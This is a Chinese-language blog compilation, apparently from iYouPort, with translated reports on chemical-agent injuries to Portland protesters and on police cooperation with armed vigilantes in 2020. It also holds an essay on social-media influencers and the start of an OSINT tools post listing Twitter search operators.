Laura Jedeed 在7月参加了大多数抗议活动。她说她最终没有呕吐，但却感觉很想吐。她说：“有一种吞咽反射”。这是对联邦特工向空气中喷洒的物质的直接反应。

虽然她曾多次接触过波特兰警察局使用的催泪瓦斯，但是，“无论联邦特工在那里喷洒的是什么东西，那种感觉都要糟糕得多”， **Jedeed** 说。“它就像把你架在火上烧了**24**小时一样。”

被曝光后的那个晚上，Jedeed 不得不抱着冰冻罐头睡觉，以冷却双手。她说，“在之后的大约一天时间里，我在吞咽的时候都会有一种吞咽反射”。在那之后的很长一段时间里，她的进食都很艰难，到8月份的时候已经瘦了10斤。

虽然 **Jedeed** 曾经在陆军第**82**空降师服役，并两次被派往阿富汗，但她说，[在抗议活动中] 接触化学品的煎熬 “比我在军队中经历的任何事都更像战争”。

其他遭受这种毒气的抗议者报告了厌食症状，而且体重下降，在最初接触后持续了几天、有时甚至几周。音乐记者、抗议活动的常客 Mac Smiff 在7月下旬开始发现自己难以进食，因为他多次暴露在联邦特工投掷的催泪瓦斯和烟雾弹之下。到8月初，他的体重已经从193磅降到181磅，最近他表示还没有恢复体重。

化学制剂造成的伤害只是抗议者们与联邦特工和波特兰当地警察发生冲突造成的众多身体伤害之一。

在周四发布的一份报告中，人权医师组织记录了波特兰警察局警官和联邦特工在整个6月和7月的抗议活动中 “一贯不成比例地和过度地使用武力的模式”。

这份报告详述了橡皮子弹、其他冲击性弹药、以及向该市抗议者投掷催泪弹所造成的残酷伤害，该市在今年夏天的抗议活动中记录的警察暴力事件比美国任何其他城市都多。

报告还指出，联邦探员7月抵达后，波特兰市这些 “动能冲击弹” 造成的重伤人数有明显增加。在全国范围内，该组织已确认在5月26日至7月27日乔治·弗洛伊德去世后的抗议活动中，有115人头部受伤。

Nate Cohen 是7月被联邦特工用催泪弹击中的波特兰人之一。那是7月26日凌晨1点左右，Cohen 当时正在做医务人员。尽管联合国的指导意见说，政府必须保护医务人员，以便抗议者能及时获得紧急医疗服务，而 **Cohen** 当时戴着**7**个明显的红色十字架，但他说，他明显感觉到被联邦特工近距离瞄准了。

美国公民自由联盟正代表 Cohen 和几名街头医护人员志愿者对国土安全部、美国法警局、和波特兰市提起诉讼，控告医生在抗议活动中被成为目标。

Cohen 说：“催泪瓦斯罐不是设计出来射杀人类的”。Cohen 患有慢性心脏病，自该事件发生后病情明显加重，现在他的胸口有一个罐状的疤痕。

据 Cohen 介绍，虽然当地警方也使用毒气罐作为镇压武器，但联邦特工的使用方式却不同：“波特兰警察局通常将这些毒气罐朝着空中

发射，而联邦特工是把这东西照着人发射的。”

而这仅仅是化学武器被滥用于镇压抗议活动的诸多潜在危险之一。虽然波特兰警方确实一直在使用催泪瓦斯，但联邦特工使用的催泪瓦斯要多得多。“他们使用的催泪瓦斯数量，尤其是在7月下旬，相对于正常的程序来说是如此极端，我们不知道这种程度的暴露对人有什么具体影响”，Cohen 说。

Cohen 称，抗议活动后回收的几个催泪弹显示，这些产品早已过期，这一事实引起了进一步的疑问，“这些产品已经过期10～15年了，我们都不清楚**CS**毒气开始分解后会发生什么。”

未知领域

「图」

也许关于化学品最大的问题是，这些特工到底释放了哪些化学品，数量又是多少。

Anita Randolph 在7月下旬被联邦特工使用化学药剂攻击之前，就已经有些习惯了被波特兰警方使用毒气。“我们很快就习惯了，你可以习惯随之而来的刺痛”，Randolph 在谈到当地警方释放的毒气时说，“但是，当联邦特工开始使用催泪瓦斯时，那是真的很痛苦。”

尽管她戴着防毒面具，从头到脚都裹得严严实实的，但在被特工们在她附近射出的毒气罐所产生的雾气包围后，**Randolph** 发现自己突然痛苦地无法呼吸。

“我跪在了地上”，她说，“我无法行走甚至无法站起来”。

这一次被袭击的后遗症持续的时间明显长于她过去被毒气袭击的状况。“我在之后的近一周时间里都精神上都恍恍惚惚的”，身为神经科学家和 Don’t Shoot Portland 组织董事会成员的 Randolph 说。

除了神志不清、无法集中注意力、记忆力下降外，**Randolph** 在接触这种毒气后的几周内还出现了多次严重的偏头痛，并呕吐了两次。最严重的几天里她病得无法下床。

许多与 Randolph 一起被毒气攻击的朋友告诉她，他们也有类似的症状，甚至还包括一些她没有的症状。

他们共同的疑问就是：攻击他们的那东西究竟是什么？Randolph 和

他的朋友们互相询问。

根据人权医师组织的报告，“在没有足够的毒理学资料证实不会造成不必要的健康问题” 的情况下，使用化学刺激剂可能是非法的。

“我们不知道[镇压部队]使用的是什么东西，这是绝对不能接受的，” 人权医师组织医学主任 Michele Heisler 博士说。根据 Heisler 的说法，国际原则要求执法部门提供任何被使用的化学刺激物的成分信息，“但是，在波特兰，他们没有提供任何信息。”

对于接触过这类毒剂的人来说，由于其中有潜在的多种未知化学品，他们的健康问题变得更加复杂。“如果你在两分钟内吸入**HC**气体，然后是另一种气体，然后是下一种气体 **……** 会发生什么？” Cohen 问道。“我想没有人知道。我认为我们对它的真实影响一无所知。”

Mac Smiff 仍在努力恢复他自7月以来失去的体重，他担心他和其他被笼罩在波特兰的化学品烟雾中的人们可能会增加癌症的风险。

神经科学家 Randolph 担心的是持久的心理健康影响。“被毒气袭击的结果是创伤性的”，她说。“而看到如此多的暴力事件发生，会有很多人需要寻求心理健康支持 —— 以期缓解焦虑、抑郁和情绪障碍。”

虽然后来大部分战术联邦特工在7月底撤出了波特兰，但是一位名叫 Jack TudelaJack Tudela 的抗议者认为，她在9月18日参加ICE设施附近的抗议活动时，再次接触到了有毒化学品。

自7月以来，Tudela 已经出现了一些令人不好的症状，她把这些症状与联邦特工使用的化学品联系在一起。她平时喜欢把指甲留得很长，但最近开始她注意到自己的指甲正在变脆，很容易断裂。她也开始严重脱发。洗完澡后梳头时头发就会一簇簇地脱落。

Tudela 有癫痫病，可以通过药物控制，她说，在毒气事件后，她经历了更频繁的轻微癫痫发作。和其他许多在波特兰参加抗议的女性一样，Tudela 在抗议活动中接触到化学物质后，也注意到了自己生理周期的变化。

Tudela 在9月抗议活动中的暴露可能会进一步加剧和延长她正在经历的所有症状。

“那天晚上他们释放了那么多气体”，她说。**Tudela** 去参加那次抗议活动，是为了引起人们对移民局在未经同意的情况下对被关押的妇女进行子宫切除手术的报道的关注。而正如她所预料的那样，在充满化

学物质的对抗之后，她经历了一些与之前抗议活动后相同的反应，包括肺部灼热感、恶心、呕吐、注意力难以集中、以及对食物的厌恶。

不过，她说，对侵犯他人身体的行为倍感愤慨，值得她自己去冒这个风险参加抗议。〇

Welcome to the “Anarchist Jurisdiction” of New York—Where Cops Crush Every Tiny Protest

FEDERAL AGENTS USED TOXIC CHEMICAL SMOKE GRENADES IN PORTLAND

原文

武装暴徒受到警察的鼓励以镇压反抗者，这甚至不是新鲜事：通过BLM（8） - iyouport

BLM2020

【2021年6月8日存档】不只有警察的镇压，私刑和栽赃也都是反抗行动者需要应对的威胁

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《警察情报中心如何跟踪抗议活动：通过BLM（1）》
- 《把暴力抗议玩成生意的人：通过BLM（2）》
- 《监视器“眼中”的抗议运动：通过BLM（3）》
- 《秋后了 … 抗议究竟有没有用？答案可能不在眼下：通过BLM（4）》
- 《当甘地错了 ……：通过BLM（5）》
- 《警察如何使用推文监视抗议运动：通过BLM（6）》
- 《伪党争和真镇压：警察粉碎了每一个微小的抗议活动：通过BLM（7）- 有毒化学烟雾弹》

【按】美国反抗者在互相传授自卫战术时经常描述他们的对手为“警察和暴徒”，这个短语在中文读者眼中似乎有些奇怪 —— 警察不就是暴徒吗？是的，警察本身是暴徒，但警察毕竟处于官僚主义的严格框架之下，很多时候他们必需听从上级指令才能采取具体行动，于是他们的行动可能不会那么迅速，这就给了反应敏锐的反抗者带来了机会。

但是，当您面对的不只有警察，还有暴徒 —— 并且是武装的暴徒的时候，事情就不一样了。这些暴徒和您的反抗组织具有同等的“行动灵活度”，尤其是，他们能做那些法律规定警察不能做的脏事 —— 包括执行私刑，法外暴力和杀戮。也就是说，这些暴徒没有警察的官僚主义劣势，但是，他们与警察合作，协调性镇压反抗者。

这就是为什么“防暴/平暴”这类概念事实上并非字面上的意思，真正

的暴徒并不会被完全制服，相反，负责“平暴”的警察与这些真正的暴徒合作，目的是镇压和平抗议者。

鉴于中国维稳当局非常擅长模仿，比如见《中国的“新疆模式”如何借鉴美国、英国和以色列的平叛战略》（我们将两篇文章在同一天发布是有目的的），中国的反抗者也许需要思考这件事，关于，如果警方利用流氓黑社会实施暴力镇压，如何应对。

关于纠正当权者对 Antifa 的抹黑并不是制作本文的主要目的，因为此前已经多次介绍过这件事了；但它也是所有线索之一，当官方叙事支持真正的暴徒并栽赃抗议者时，抗议者需要及时有效地做出反应，以避免失去公众支持。这应该作为您的《信息行动主义》战略的一部分事先策划。

一名前阿尔伯克基市议会候选人在周一的反警察暴行示威中向一名抗议者开枪，并与右翼民兵组织的成员一起被捕。这起枪击事件是一个极端的例子，在全国范围内，声称“保护财产”的武装义警暴徒出现在抗议活动中 —— 在许多情况下，警察部门鼓励这种暴力甚至明确与之合作。

【注：本文中出现的“义警”这个概念有点相似于中国的辅警或国宝，但是不完全一样；中国的辅警和国宝也许有也许没有编制，但他们依旧在警察体制下工作，受到警察的控制和操纵。而这里所描述的“义警”并不在警察体制下工作，而是指民间“自发的武装治安组织”，他们由暴徒构成，在没有任何法律授权的情况下执行私刑。】

这个枪手史蒂文·雷·巴卡（Steven Ray Baca）一直在恐吓抗议者，当时示威者正计划推倒阿尔伯克基博物馆外的西班牙征服者胡安·德奥纳特的雕像。新墨西哥州民兵队的成员也加入了巴卡，这是一个在冠状病毒导致的相关停产后出现的民兵组织。

巴卡最近被任命为阿尔伯克基茶党成员，他声称自己的家人在警察部门工作，并在过去领导了亲警察的活动。在2014年对警察杀人事件的抗议中，他在 Facebook 上创建了一个支持阿尔伯克基警官的页面，并告诉记者，他有一个叔叔与该部门合作。

巴卡在2019年竞选市议员的简介中指出，他是前伯纳利欧县警长副手的儿子。警长办公室在推文中说：“他的父亲近二十年前曾在该机构工作，但从2001年起不再是BCSO的员工”。但据目击枪击事件的抗议者尼古拉斯·索托说，巴卡的行为仿佛他的父亲仍然具有影响力。索托说，在开枪后，巴卡要求执法人员给他父亲打电话，他说他父亲在警

长办公室。

在巴卡开枪之前，抗议者正拉着一条铁链套在Oñate雕像的脖子上，准备拆掉这座被视为种族灭绝和种族主义象征的雕塑。

新墨西哥州民警卫队成员手持攻击性武器站岗，表面上是为了保护纪念碑。突然，欢呼声变成了喊叫声。巴卡将一名妇女扔在地上，然后从人群中走了出来。当抗议者追赶他时，发生了争吵。“他要杀了你！”一名旁观者尖叫，然后四声枪响划破了空气，其中几颗子弹击中了抗议者斯科特·威廉姆斯的躯干。

威廉姆斯当街流血，新墨西哥州民警卫队成员在巴卡周围形成了一个保护圈，他们准备好了武器。根据另一名目击者提供的视频，当执法部门赶到时，这些警察在民兵暴徒周围建立了第二层保护圈。在扣留了枪手和几名民兵成员后，警察向惊慌失措的抗议者人群发射了催泪瓦斯和闪光弹。

“警察非常小心翼翼地处理了新墨西哥州民兵和这位开枪的先生（暴徒），确保他们没有受伤，而他们一直在试图针对黑人和土著人”，索托说。据当地新闻台KRQE报道，截至周三晚间，受害者威廉姆斯仍然情况危急。

随着明尼阿波利斯警察杀害乔治·弗洛伊德事件后的起义在全国范围内蔓延，芝加哥等大城市以及俄亥俄州贝瑟尔等小城镇的极右翼暴徒也纷纷动员起来。有些人是“布加洛”、“誓言守护者”和”百分之三”等极右翼组织的成员。其他人则是当地警察的支持者。这些极右翼暴徒所受到的警方热情接待，与执法部门对 **BLM** 示威者的暴力对待形成了鲜明的对比。在阿尔伯克基枪击案发生的前两周，该市警察被拍到鼓励身穿战术装备的男子抵抗反对警察暴力的抗议者。

据追踪白人至上主义者和极右翼团体的人权研究与教育研究所统计，去年6月在美国的抗议活动中，有近200名义警暴徒和极右翼极端分子出现。激进右翼分析中心研究员、《抵抗法西斯蠕变》一书的作者亚历山大·里德·罗斯分别统计到数十次此类露面，其中**12**次明确涉及警方的配合或支持。

包括特朗普在内的许多官员一再将抗议运动中的暴力归咎于被称为Antifa 的运动和“激进左翼”的反法西斯运动。但阿尔伯克基的暴力事件并不是右翼义警在近期抗议活动中因其行动而受到刑事指控的首例。

6月2日，内华达州的联邦检察官指控极右翼“Boogaloo运动”的3名成员蓄意用火和爆炸物实施破坏和摧毁，该极右翼组织旨在通过民间骚乱加速政治体系的崩溃（即 所谓的加速主义）。

据称，一名后备军成员和两名退伍军人带着煤气罐和燃烧瓶前往拉斯维加斯市中心。周二，加州的联邦检察官指控一名与“Boogaloo”有关联的美国空军中士因在奥克兰一家法院附近杀死一名联邦安全官员而犯有谋杀罪。他还因在圣克鲁斯县杀害一名治安官副手而被单独起诉。

据追踪右翼极端主义崛起的调查组织称，特朗普在总统任期内的种族主义言论和对白人至上主义者的赞美，让这些组织胆战心惊。尽管如此，专家们还是对过去几周发生的暴徒事件和反动的反抗议行为的数量感到震惊。“我预料到会有反弹”，罗斯说，“但实际的程度令人瞠目结舌”。

警察和暴徒合作的悠久历史

「图」

暴徒与警察和政府官员合作以压迫黑人和土著人，这种事有着悠久的历史。当欧洲裔美国人以暴力方式在土著人的领地上定居时，美国政府悬赏征集那些他们试图赶走的土著人的头皮。在吉姆·克劳法的南方，暴力暴徒对成千上万的美国黑人实施私刑，往往提前在报纸上刊登杀戮广告。警察甚至会直接加入这种私刑谋杀 —— 其中许多受害者是政治活动家。

“康涅狄格大学的社会学家、《对非裔美国人的杀戮》一书的作者诺埃尔·卡泽纳夫说：“从历史上看，美国的警察和私刑杀人的杀人犯之间有着非常密切的联系”。他说，私刑往往是在认为黑人所拥有的权力有所增加的情况下爆发的反应。在吉姆·克劳法的南方，导火索是废除奴隶制运动；今天则是**BLM**的运动。“这种暴力是让黑人保持在‘自己的位置上’的一种方式”，卡泽纳夫 补充说。

警察和暴徒之间的这种密切的关系经久不衰。在巴拉克·奥巴马当选后，民兵和反政府组织激增。其中一个著名的组织“誓言守护者”（Oath Keepers）就是由现任和前任军人和执法人员组成的，他们认为自己有责任保护公民免受美国政府暴虐行为的侵害。2017年Intercept 的一项调查披露了一份FBI的机密反恐指南，该指南称：“以民兵极端分子、白人至上主义极端分子、和主权公民极端分子为重点的国内恐怖主义调查，经常发现他们与执法人员有密切的联系”。

- 《从冷战到反恐战争：专制“解决方案”带来的危害往往大于其表面上旨在应对的威胁》

去年的BLM抗议以来，义警暴徒和极右翼暴徒出没的地方 Map: Alexander Reid Ross

4月和5月，在特朗普的鼓励下，在为防止Covid-19扩散而实施的封锁中，许多团体开始围绕重新开放经济的问题进行组织。“重新开放的抗议活动成了这些人的招兵买马之地，让他们开始聚集在一起，策划更多可怕的阴谋”，人权研究与教育研究所执行主任 Devin Burghart 说。Burghart 将特朗普的言论与极右翼组织和白人“治安维持者”出现在BLM抗议活动中的情况联系起来，“他们在许多方面都在呼应他们听到的来自总统说的话”，他说。

警察谋杀弗洛伊德后美国各地爆发了抗议活动，有些抗议活动涉及大量财产损失和抢劫。5月29日凌晨，特朗普在推特上说：“当抢劫开始时，枪击就开始了”，他称明尼阿波利斯的抗议者为“暴徒”。抗议活动经久不息，特朗普将混乱归咎于 Antifa 和“激进左翼”，并表示将把 Antifa 组织定为“恐怖组织”，考虑到 Antifa 并不是一个组织，美国政府此前也没有将国内团体定为“恐怖组织”的机制（但现在有了），特朗普当时的说法值得怀疑。

- 《什么是 antifa，或者说谁是 antifa？》

尽管如此，司法部长威廉·巴尔依旧赞同特朗普：“外部激进分子和煽动者的团体正在利用这种情况来追求他们自己单独的、暴力的和极端主义的议程”，他声称，“Antifa 组织和其他类似组织煽动和实施的与骚乱有关的暴力是国内恐怖主义，将受到相应的处理。”

- 《威廉·巴尔和小熊维尼：中美的老大哥本性相差无几》

在随后的几天里，社交媒体上谣言四起，称大巴车上的 Antifa 行动者正前往美国各地的小社区，但这些谣言一再被证明是假的。Twitter 封锁了一个自称由 Antifa 支持者运营的账号，但结果显示其实际上与白人至上主义组织 Identity Evropa 有关。

然而伤害已经造成了。“过去两周，几乎所有出现重大的抵制抗议的活动，都涉及对基于社交媒体和其他网络平台传播的虚假信息谣言和猜测的反应”，罗斯说。在许多社区，警察和官员都在鼓励对抗议活动的反击。

- 这只是所有谣言案例中的 一个《断章取义的视频和歪曲的描述如何挑起对安替法(Antifa)左翼活动家的仇恨》

白人义警的特殊待遇

「图」

在特朗普发布关于抢劫和枪击的推文一天之后，德克萨斯州胡德县的警员 John Shirley 在 “守誓者” Facebook 群组中发布了 “行动呼吁” 。Shirley 呼吁信徒们为达拉斯的 “沙龙模特” 提供保护，该沙龙不顾州长的命令拒绝为应对疫情而关闭，并鼓励现任和前任执法人员携带手枪。“我们现在正处于对 Antifa 的全球战争中”，Shirley 在 Facebook 上的第二个帖子中宣布。

与此同时，在西北太平洋地区的社区，政府官员欢迎 “local boys” 涌上街头，抵制传闻中的 Antifa 大巴。在华盛顿州斯诺霍米什市，市长对5月31日守卫该市市区的武装人员表示赞赏，一些暴徒挥舞着邦联旗帜。许多人在站岗时喝了酒，警察局长将这次武装集会定性为庆祝性的**tailgating**之夜。在遭到社区成员的抵制后，该局长被降职。

第二天，也就是6月1日，一名旁观者拍摄到俄勒冈州塞勒姆市的一名警官接近武装的白人男子，要求他们在宵禁时不要出现在视线范围内，这样警方就不会因为没有逮捕他们而显得很糟糕。

“我的指挥部希望我过来和你们谈谈，要求你们谨慎地待在建筑物内或车内，待在不违反规定的地方，这样我们才不会看起来像是在徇私舞弊”，这名警官说。和在达拉斯一样，这些人守着一家与 “重新开放“ 运动有关的沙龙 (该沙龙还得到了极右翼 “爱国者祈祷“ 组织的支持)。为了回应对视频的强烈抗议，塞勒姆警察局长发布了自己的视频信息，为不平等待遇的做法道歉。

同一天晚上，在费城的 Fishtown 社区也发生了类似的警察不作为的例子。Jill St.Clair 与男友外出遛狗时，遇到一群拿着球棒、铁锹和棍子的白人男子。当 St.Clair 掏出手机拍摄时，其中一名男子挥舞着球棒向她扑来，并喷出一连串的脏话。然后他与其他人汇合，沿着街道向菲斯敦的26分局跑去。

心烦意乱的 St.Clair 拨打了911。根据事发后她立即在 Instagram 上发布的详细描述，**911**接线员坚持认为这种情况 “并不紧急”。在 St.Clair 的坚持下接线员将她转交给第26分局，St.Clair 说，一名警官告诉她，她应该 “感谢” 那些人正在保护她的邻居。“那警察一直坚持

认为我才是问题的一部分”， **St.Clair** 说。

当晚拨打911的另外两名居民也报告了接线员的类似反应。费城警察局以与Covid-19有关的关闭为由，拒绝迅速处理关于911电话记录的知情权请求。一名公共信息官员说，内部事务部门正在调查菲斯敦的事件，并拒绝进一步评论。

当这些持械的暴徒散去时，他们已经殴打了至少三名旁观者。一位名叫贾斯汀·哈斯克尔的辅警发布的视频显示，他与一名警察交谈，警察温和地要求哈斯克尔的团队回家，以便他们可以逮捕街对面的人。

费城警察局长丹妮尔·奥特劳（Danielle Outlaw）随后表示：“我们不认可或容忍任何形式的私刑”。但类似的一幕在上周末继续上演，当时在该市的克里斯托弗·哥伦布雕像处集中了一群暴徒。当这些暴徒殴打视频机构 **Unicorn Riot** 的记者克里斯·夏亚诺（**Chris Schiano**）时，警方袖手旁观。警察队长 **Louis Campione** 随后要求受伤的记者 **Schiano** 离开，甚至指责该记者 “煽动骚乱“。

“我们已经看到了一些明显的暴徒和警察合作的例子”，Burghart 说，“将其与他们处理BLM活动家的方式对比一下，这些暴徒得到警察的支持，而和平的BLM活动家被战争武器瞄准。”

德州的 Shirley 警员并不是唯一一个在弗洛伊德被杀后宣传 “誓言守护者” 的警员。在这些义警占领 Fishtown 的第二天，一名在加州科斯塔梅萨负责盯着BLM的维稳官员被拍到佩戴了一个独特的徽章，就贴在他的战术背心上，上面是极右翼组织 “百分之三” 的标志，并写着 “誓言守护者”。反政府的 “百分之三“ 民兵组织的名字指的是在革命战争期间只需要3%的殖民地定居者就能推翻英国人统治的想法。警长谴责了这名义警的行为，并让他休假，同时部门对他的行为进行调查。

6月3日，在芝加哥，手持棒球棍和高尔夫球杆的男子守卫着历史上白人的布里奇波特和历史上黑人的布朗兹维尔社区之间的边界。警察站在附近，试图控制交通，因为在布朗兹维尔警察分局前发生了抗议活动。居民们抱怨与这些人发生冲突，但随后又发现警察与这群暴徒关系密切。据报道，《南区周刊》记者查看的警方录音中捕捉到一名警员说，这些暴徒是 “邻居，只是想保护邻居”。布里奇波特和全国许多社区一样，白人男子使用暴力守卫邻里边界不让黑人进入的历史由来已久。

这种趋势持续到抗议警察暴力的第三周。在俄克拉荷马州，一名警长

发出号召，号召志愿者加入“治安队”，“协助保障生命和财产安全”。在爱达荷州，一名前肖肖尼县的警长利用 **Facebook** 的一个私人群组，推动民兵式应对该地区的抗议活动。而在上周日俄亥俄州贝瑟尔镇的一次抗议活动中，数百名武装人员骑着摩托车，戴着邦联旗和特朗普帽子，对参与者进行殴打，据说警察在一旁观望什么都不管。贝瑟尔警察局长后来谴责了这一暴力事件，并补充说，他所在部门的6名警察人数不足（警察人数不足就用暴徒执行私刑）。

几个民兵组织声称与警方直接合作。所谓的“百分之三”的 Facebook 页面上写道，其犹他州分会与盐湖城警方协调，应警察的要求，在警察指挥所周围设立了一个紧急警戒线。该部门的一名公共信息官员否认这样的合作。在德克萨斯州的乔治敦和阿拉斯加的帕尔默，民兵组织成员声称，政府官员批准了“协助执法”的提议。

阿尔伯克基“武装的和谐”

「图」

在新墨西哥州，国民警卫队早些时候的出现几乎没有引起当局的明显关注。6月1日，出现了一段视频，一名阿尔伯克基警察在反对警察暴行的示威游行前，向身穿军装的男子进行鼓舞人心的谈话。这些人显然正在与终极格斗冠军格斗专家 Jon Jones 合作，用来维稳。“如果你们看到了什么，就大声喊，但要互相照顾，照顾好阿尔伯克基的人民”，警察告诉那些人。新墨西哥州国民警卫队将自己的使命描述为“对紧急和危险情况作出快速的地方合法反应”，但当晚在该市发现的武装人员中就有与示威者对峙的人。

新墨西哥大学的美国研究教授尼克·埃斯特斯（Nick Estes）与朋友和活动家一起走到一个社区中心时，两名武装人员向他们冲来。其中一人把手伸进了裤兜。“我当时想，‘嘿，你他妈的在干什么？你是不是想拿枪指着我们？”埃斯特斯回忆说。他注意到附近聚集了一大群武装人员。

据当地广播电台KUNM的报道，第二天，警察扫描仪上无意中听到有警察描述了抗议活动附近屋顶上张贴的“武装友军”。一个声称“维护宪法”的武装组织“新墨西哥州爱国者”的一名成员告诉该电台，他们已经就监控抗议活动与警方进行了协调，“我们已经与警察合作多年了”，他说。

在周一的枪击事件发生后，阿尔伯克基警察局长 Mike Geier 在一份声明中说：“我们正在收到有关民兵团体可能煽动这次暴力事件的报

告。如果这是真的，我们将在法律的最大范围内追究他们的责任，包括对仇恨团体的指定和起诉。”

伯纳利欧县检察官指控暴徒巴卡因将女子扔在地上而犯有严重殴打重罪，因殴打另外两人而犯有两项殴打轻罪，以及非法携带隐蔽枪支。但是，地区检察官 **Raul Torrez** 放弃了对枪击案的指控，理由是阿尔伯克基警察局的调查不完整和失误，包括他们未能保护犯罪现场。他指出：“阿尔伯克基警察局使用了一些策略，使得事件的关键证人无法真正做出陈述”，他提到了所谓“恢复秩序的行动”，大概是指发射催泪瓦斯和其他镇压武器，以及抗议人群中存在的一名卧底警察。他将调查工作移交给新墨西哥州警方。2020年6月16日，拆除西班牙征服者胡安·德·奥纳特（Juan deOñate）的雕塑

Torrez 说，他没有发现巴卡和新墨西哥州民兵组织成员之间的联系，他们被释放了。该组织还表示，他不是成员，尽管他们在其 Facebook 页面上为巴卡辩护说他是“西班牙裔受害者”，继续将暴力事件归咎于Antifa。巴卡的律师表示，他将声称自己是自卫。

埃斯特斯认为，抗议活动中出现义警暴徒是美国长期暴力种族主义历史的延续，胡安·德·奥纳特在16世纪残暴地征服了当地原住民后，成为新墨西哥州的州长。当 Acoma Pueblo 的成员拒绝缴纳粮食税，并在随后的争吵中杀死了奥纳特的侄子后，奥纳特屠杀了数百人，砍掉了许多幸存者的手脚。政府最终将奥纳特从新墨西哥州驱逐出去。但在整个州内，仍然可以找到这位耻辱的暴君的纪念碑。

“这些新墨西哥州的民兵，以及全国各地的这些白人民兵都了解这些历史，他们愿意为捍卫这些历史而开枪杀人”，埃斯特斯说，“这座雕像的意义在于，它只是表明这种殖民暴力仍在进行中，而且人们对征服的荣耀有很深的投资，这才导致了这片土地的定居”。

枪击事件发生后，阿尔伯克基市长蒂姆·凯勒迅速拆除了这座纪念碑。他表示，市府将“确定下一步的措施”，并补充说：“这个雕塑现在已经成为一个紧急的公共安全问题。”

埃斯特斯对此不以为然。他说，市长应该更早采取行动。“当地新闻媒体已经有多个基层报道显示这些法西斯分子正在四处骚扰人们。几代人都在呼吁拆掉这些雕像”，他补充说，反警察暴行抗议者的核心诉求仍然是大幅削减阿尔伯克基警察局的资金。市长凯勒并没有对此作出承诺。〇

ARMED VIGILANTES ANTAGONIZING PROTESTERS HAVE

RECEIVED A WARM RECEPTION FROM POLICE

原文

影响力 - iYouPort

开源情报-每个人都可用的武器新生情报工具

影响力与名人并不是一码事；”在社交媒体上积累影响力之后再投身正义事业”的流行论调，不过是一种虚妄的谎言。为什么？

> The success becomes the sage. Scientists counsel on civil liberty; comedians and actresses leading lifestyle; athletes tell us what brand of cigarette to smoke…

卡戴珊也许是最早获得仰慕的真人秀明星之一：足以将人们羞怯的注意力转化为持续的注意力，持续关注的不仅是资本而且是帝国。互联网时代的真人秀明星成功地挑战了这样一种观点，即 与著名公众人物在著名反馈循环中的关系并不是真实的。他们成为了合理的理想人物—不仅因为他们的魅力，更重要的是，他们如何能熟练驾驭在这个超个人主义时代中的自我表现力。他们的价值观要求所有人知道：如何展示自己变成了一项新的重要生活技能。

“影响者”现在已成为一种常见的职业。许多非名人都在通过名人的做法谋生，获得并维持着网上陌生人的兴趣（如果您还不熟悉这点，去抖音转转就行了）。

但影响者与名人并不是一码事。正如 Crystal Abidin 所指出的那样，影响者不仅没有机构支持而且比传统名人具有更大的脆弱性；他们还表明了不同的感觉结构，对可替代性、模仿和嫉妒的不同态度。

想要成为某人，与想要成为某人并希望接受他们的建议，之间存在着根本性差异—— 如果你是社会动员者，在互联网时代具有*影响力*与传统的名人影响力所产生的效果可能截然不同。

虽然名人使用社交媒体，但对于有影响力人士来说，它并不是基本的。由于我们所有人都可以或多或少地使用影响者们使用的媒介平台，因此我们对他们的期望是不同的。虽然电影和电视可能旨在让我

们相信明星本身比普通人更好—— 更好看、更有才华、各方面更均衡—— 而社交媒体声称为我们提供了一套共享的资源和惯例，可以彼此参照以调整自己。

每个人都已经在镜头前了，但是，我们中的一些人比其他人更善于以这种方式生活，而我们期待着通过消费他们使我们自己变得更“好”。

当然，影响者通过商业赞助获利，正如 Isabel Munson 所写道的，广告代表的不是“连续性突破”，与电视广告一样，它是“故事的延伸”。表演者留下暗示，并在表演与“现实”之间刻意中断，正如 Abidin 论证的那样，关于在线和“真实”生活之间的虚假二元性。

跟随影响者成为了一种互动游戏。观众可以将这个人支持媒体共享技巧的线索拼凑起来。名人成为了一个集体项目，其中追随者感觉自己好像可以控制他们所观察的人是否能红；赞助内容不仅仅是广告，而且是成功的晴雨表—— 吸引你进入影响者的元叙事。

这类内容消费只是一种娱乐形式的自我优化。正如 Adrienne Matei 指出的那样，一个人的追随者数量可以对生活质量产生实质性的影响—这可能是工作机会或失业之间的差异。

影响者具有实用技能—— 获得并持续获得关注的能力—— 他们的魅力不仅体现在观众的被动消费上，而且体现在其能力的证明上。问题不在于这种自我呈现究竟有多少是“真实的”，而是，它的管理程度以及影响者如何能够保持受众参与。

影响者是自助大师，就像他们是艺人一样，他们宣称炫耀是一种技能。他们带动了炫耀的文化，让更多人有兴趣并享受这个大舞台赠予的光环，哪怕只是一瞬间。最多也就如此了。“在社交媒体上积累影响力之后再投身正义事业”的流行论调，不过是一种虚妄的谎言。

如今的人们都受到过应对广告攻击的训练，我们被告知要警惕公开的影响力，想想自己对媒体操纵方式的了解，通常都能看透这步棋。如果还没有，也不要紧，至少可以考虑下选择什么样的影响力，以及如何防止它控制您。〇

原文

新生情报工具（4）：战术培训、狩猎推特、瑞士军刀 – 针对特定目标人的侦查利器 - iyouport

新生情报工具

【2019年12月6日存档】继续我们的不定期更新系列

如果您忘记了此前的内容，或者忘记了本栏目的来源，可以在这里回顾：

- 《新生情报工具（1）：人脸识别身份挖掘、推特分析热点事件、暗网爬虫和调查抖音》
- 《新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家》
- 《新生情报工具（3）：挖掘推特、搜查加密货币、刮刀和定向追踪》

来看看今天有什么好玩的东西。

战术培训：**TryHackMe**

这个名字就意味着它是做什么的。没错，模拟攻击 —— 您可以通过这里的演习打磨攻防技能。

尤其是，现在该网站有了一个开源情报调查的模拟训练营。

这里面的问题并不是很难，很适合初学者；很高兴看到有一些基于OSINT的挑战正式出现了。

如果您感兴趣，可以来这里：https://tryhackme.com/room/ohsint

简易教程：**Twitter** 搜索运算符

我们介绍过谷歌运算符及使用技巧，见《攻防皆可用：GoogleDorking 高级运算符完整列表》。

但你知道吗，Twitter 也有数十个特殊搜索运算符，可以在自定义时间范围内搜索、可以过滤来源、媒体类型等等。

于是依旧对调查者推荐使用 TweetDeck，它可以非常方便全方位地监视信息流。在这里看到我们曾经的介绍《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》。

下面总结一下这些运算符：

1、搜推文

love AND hate：包含“爱”和“恨”

love OR hate：“爱”或“狠”中的至少一个

-love：不包括“爱”

1. tgif：一个标签

“love hate”：完整的短语“爱恨”

url:google.com ：这个对于子域和域名非常有效，但对于长URL而言效果不太好，这取决于url。 Youtube ID 效果很好。

lang:en 搜索指定语种的推文

2、搜用户

from:user 由特定的用户 @username 发送，例如 “#space from：NASA”

